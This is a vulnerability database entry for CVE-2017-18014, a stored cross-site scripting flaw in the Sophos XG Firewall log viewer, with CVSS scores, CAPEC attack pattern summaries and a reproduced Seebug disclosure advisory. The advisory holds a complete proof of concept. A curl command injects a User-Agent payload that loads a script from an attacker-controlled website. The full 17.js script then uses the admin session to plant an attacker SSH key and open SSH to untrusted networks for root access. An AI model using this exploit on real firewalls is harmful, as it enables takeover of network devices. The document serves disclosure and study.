Vulnerabilities > CVE-2017-18014 - Cross-site Scripting vulnerability in Sophos Sfos 17.0

047910
CVSS 4.3 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
PARTIAL
Availability impact
NONE

Summary

An NC-25986 issue was discovered in the Logging subsystem of Sophos XG Firewall with SFOS before 17.0.3 MR3. An unauthenticated user can trigger a persistent XSS vulnerability found in the WAF log page (Control Center -> Log Viewer -> in the filter option "Web Server Protection") in the webadmin interface, and execute any action available to the webadmin of the firewall (e.g., creating a new user, enabling SSH, or adding an SSH authorized key). The WAF log page will execute the "User-Agent" parameter in the HTTP POST request.

Vulnerable Configurations

Part Description Count
OS
Sophos
4
Hardware
Sophos
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Cross Site Scripting through Log Files
    An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
  • Embedding Scripts in Non-Script Elements
    This attack is a form of Cross-Site Scripting (XSS) where malicious scripts are embedded in elements that are not expected to host scripts such as image tags (<img>), comments in XML documents (< !-CDATA->), etc. These tags may not be subject to the same input validation, output validation, and other content filtering and checking routines, so this can create an opportunity for an attacker to tunnel through the application's elements and launch a XSS attack through other elements. As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote attacker to collect and interpret the output of said attack.
  • Embedding Scripts within Scripts
    An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts. The attacker leverages this capability to execute scripts to execute his/her own script by embedding it within other scripts that the target software is likely to execute. The attacker must have the ability to inject script into script that is likely to be executed. If this is done, then the attacker can potentially launch a variety of probes and attacks against the web server's local environment, in many cases the so-called DMZ, back end resources the web server can communicate with, and other hosts. With the proliferation of intermediaries, such as Web App Firewalls, network devices, and even printers having JVMs and Web servers, there are many locales where an attacker can inject malicious scripts. Since this attack pattern defines scripts within scripts, there are likely privileges to execute said attack on the host. Of course, these attacks are not solely limited to the server side, client side scripts like Ajax and client side JavaScript can contain malicious scripts as well. In general all that is required is for there to be sufficient privileges to execute a script, but not protected against writing.
  • Cross-Site Scripting in Error Pages
    An attacker distributes a link (or possibly some other query structure) with a request to a third party web server that is malformed and also contains a block of exploit code in order to have the exploit become live code in the resulting error page. When the third party web server receives the crafted request and notes the error it then creates an error message that echoes the malformed message, including the exploit. Doing this converts the exploit portion of the message into to valid language elements that are executed by the viewing browser. When a victim executes the query provided by the attacker the infected error message error message is returned including the exploit code which then runs in the victim's browser. XSS can result in execution of code as well as data leakage (e.g. session cookies can be sent to the attacker). This type of attack is especially dangerous since the exploit appears to come from the third party web server, who the victim may trust and hence be more vulnerable to deception.
  • Cross-Site Scripting Using Alternate Syntax
    The attacker uses alternate forms of keywords or commands that result in the same action as the primary form but which may not be caught by filters. For example, many keywords are processed in a case insensitive manner. If the site's web filtering algorithm does not convert all tags into a consistent case before the comparison with forbidden keywords it is possible to bypass filters (e.g., incomplete black lists) by using an alternate case structure. For example, the "script" tag using the alternate forms of "Script" or "ScRiPt" may bypass filters where "script" is the only form tested. Other variants using different syntax representations are also possible as well as using pollution meta-characters or entities that are eventually ignored by the rendering engine. The attack can result in the execution of otherwise prohibited functionality.

Seebug

bulletinFamilyexploit
description### Vulnerability Summary The following advisory describes an unauthenticated persistent XSS that leads to unauthorized root access found in Sophos XG version 17. Sophos XG Firewall “provides unprecedented visibility into your network, users, and applications directly from the all-new control center. You also get rich on-box reporting and the option to add Sophos iView for centralized reporting across multiple firewalls.” ### Credit An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. ### Vendor response Sophos was informed of the vulnerability, their response was: * On December 11th, we both received and acknowledged your submission of the issue * On December 12th, we confirmed the issue and started working on a fix * On December 20th, we released the official fix in XGv17 MR3: https://community.sophos.com/products/xg-firewall/b/xg-blog/posts/sfos-17-0-3-mr3-released< /li> * On December 29th, we finished the automatic distribution of the fix backports to all previous releases of XGv16, v16.5, v17 * On December 31st, we published our security advisory with the acknowledgement as per your request: https://community.sophos.com/kb/en-us/128024?elqTrackId=3a6db4656f654d65b352f526d26c6a17&elq=1514ab02d2764e8cb73e6b0bdbe7e7be&elqaid=2739&elqat=1&elqCampaignId=27053 ### CVE CVE-2017-18014 ### Vulnerability details An unauthenticated user can trigger a persistent XSS vulnerability in the WAF log page (Control Center -> Log Viewer -> in the filter option “Web Server Protection”) in the webadmin interface which can be used to execute any action that webadmin of the firewall can (creating new user / ssh enabling and adding an ssh auth-key etc). In order to trigger the vulnerability we will demonstrate the following scenario: * Sophos XG Firewall will configured with 3 zones: Trusted, Untrusted, DMZ * A WEB server will be placed in DMZ * The firewall will protect the web server using Web Application Firewall (WAF) with default Sophos recommendation. * An attacker, from Untrusted network, will send a URL request to the web server in DMZ. This cause the injection of the script in the WAF logs page * An admin, from Trusted, will visit WAF log page * The script, without any other interaction or alert, will add an SSH auth-key to admin user and will allow ssh administration from Untrusted. * The attacker will get full root ssh shell The Sophos XG WAF log page will execute the “User-Agent” parameter in the POST request. ![](https://images.seebug.org/1515654942980) ### Proof of Concept #### Sophos XG configuration: * Firewall interface Trusted – 192.168.10.190 port A * Firewall interface Untrusted – 192.168.0.192 port B * Firewall interface DMZ – 192.168.20.190 port C #### Environment * The Sophos XG Fireweal admin portal will be at https://192.168.10.190:4444/webconsole/webpages/login.jsp * In Trusted network the Admin PC IP: 192.168.10.191 * In DMZ network the “Webserver” can be netcat listener at IP: 192.168.20.191 * In Unrusted network, the Attacker controlled website IP: 192.168.0.12 From the attacker PC create an ssh auth key (empty passphrase): ``` ssh-keygen -t rsa ``` Then read the pub key – This key will be used in the attack. Note that you have to encode part of your key when you insert it in the attack script – every ‘+’ must be replaced with ‘%2B’. Modify the 17.js script (see below) replacing ===>INSERT-YOUR-PUB-KEY<=== with your pub key Change Host 17.js to your website. Now run the follow cURL command, injecting the “User-Agent”: ``` curl "http://WEBSERVER.COM" -H "Host: 192.168.0.192" -H "User-Agent:PERU<i hidden><iframe onload=\"function JS(){var iH = document.getElementsByTagName('head')[0];var my = document.createElement('script');my.type = 'text/javascript';my.src = 'https://www.AttackerControlledWebsite.COM/17.js';iH.appendChild(my);};JS();\"></iframe></i>peru" To trigger the attack, from admin PC, go to the log page (Log Viewer > Web Server Protection) and move mouse over the packet details Connect to Sophos XG using ssh from attack PC (username is admin): <u>17.js</u> ``` ``` var iframe1 = document.createElement('iframe'); iframe1.id = 'peruid'; iframe1.style = 'width:0; height:0; border:0; border:none; vivibility:0'; document.body.appendChild(iframe1); var iframe2 = document.createElement('iframe'); iframe2.id = 'peruid2'; iframe2.style = 'width:0; height:0; border:0; border:none; vivibility:0'; document.body.appendChild(iframe2); var url = window.location.href; var arr = url.split('/'); var IPV = arr[0] + '//' + arr[2]; var arr2 = url.split('='); var csrf = arr2[2]; var ajax = '{"username":"admin","allowpubkeyauth":"1","sshkey":["===>INSERT-YOUR-PUB-KEY<==="]}'; var param = "csrf="+csrf+"&mode=2501&Event=UPDATE&Entity=PublicKeyAuth&json="+ajax+"&__RequestType=ajax&t=1507131213973"; var xhttp = new XMLHttpRequest(); xhttp.open('POST', IPV+'/webconsole/Controller', true); xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhttp.onreadystatechange = function() { if (xhttp.readyState == 4 && xhttp.status == 200) { var doc = document.getElementById("peruid").contentWindow.document; doc.open(); doc.write(xhttp.responseText); doc.close(); } } xhttp.send(param); var ajax2 = '{"localaclid":["LAN#2","LAN#4","LAN#6","LAN#13","LAN#5","LAN#9","LAN#8","LAN#14","LAN#10","LAN#7","LAN#38","LAN#23","LAN#18","WAN#4","WAN#10","WAN#38","DMZ#10","DMZ#38","DMZ#18","VPN#18","WiFi#2","WiFi#4","WiFi#6","WiFi#13","WiFi#5","WiFi#9","WiFi#8","WiFi#14","WiFi#10","WiFi#7","WiFi#38","WiFi#23","WiFi#18"]}'; var param2 = "csrf="+csrf+"&mode=72&json="+ajax2+"&__RequestType=ajax"; var xhttp2 = new XMLHttpRequest(); xhttp2.open('POST', IPV+'/webconsole/Controller', true); xhttp2.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhttp2.onreadystatechange = function() { if (xhttp2.readyState == 4 && xhttp.status == 200) { var doc = document.getElementById("peruid2").contentWindow.document; doc.open(); doc.write(xhttp2.responseText); doc.close(); } } xhttp2.send(param2); ```
idSSV:97079
last seen2018-01-12
modified2018-01-11
published2018-01-11
reporterRoot
titleSophos XG from Unauthenticated Persistent XSS to Unauthorized Root Access(CVE-2017-18014)